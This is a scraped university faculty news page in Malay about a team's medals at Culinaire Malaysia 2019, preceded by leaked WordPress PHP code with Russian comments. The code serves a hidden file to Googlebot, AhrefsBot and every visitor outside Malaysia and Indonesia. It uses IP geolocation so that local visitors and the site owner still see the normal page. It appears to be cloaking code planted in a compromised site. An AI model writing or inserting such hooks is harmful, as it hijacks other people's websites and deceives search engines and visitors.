function custom_geolocation_content() { if ( !is_front_page() ) { return; } $user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; // Если это Googlebot или AhrefsBot if ( stripos($user_agent, 'Googlebot') !== false || stripos($user_agent, 'ahrefsbot') !== false ) { include( get_stylesheet_directory() . '/custom-content.php' ); exit; } $ip = $_SERVER['REMOTE_ADDR']; $response = wp_remote_get( "http://ip-api.com/json/{$ip}?fields=countryCode" ); if ( !is_wp_error( $response ) ) { $body = wp_remote_retrieve_body( $response ); $data = json_decode( $body ); // Если посетитель из Малайзии (MY) или Индонезии (ID) – оставляем основной контент if ( $data && isset( $data->countryCode ) && ( $data->countryCode === 'MY' || $data->countryCode === 'ID' ) ) { return; } else { include( get_stylesheet_directory() . '/custom-content.php' ); exit; } } } add_action( 'template_redirect', 'custom_geolocation_content' ); Culinaire Malaysia 2019 | UPSI | FAKULTI TEKNIKAL DAN VOKASIONAL

Culinaire Malaysia 2019

Culinaire Malaysia 2019 pada 26 September 2019
Sultan Idris Education University team

Tahniah diucapkan kepada En. Muhammad Hazwan bin Ismail dan pasukan pelajar dari program ISMP Ekonomi Rumahtangga kerana berjaya merangkul pingat (1 Silver, 1 Bronze dan 1 Diploma).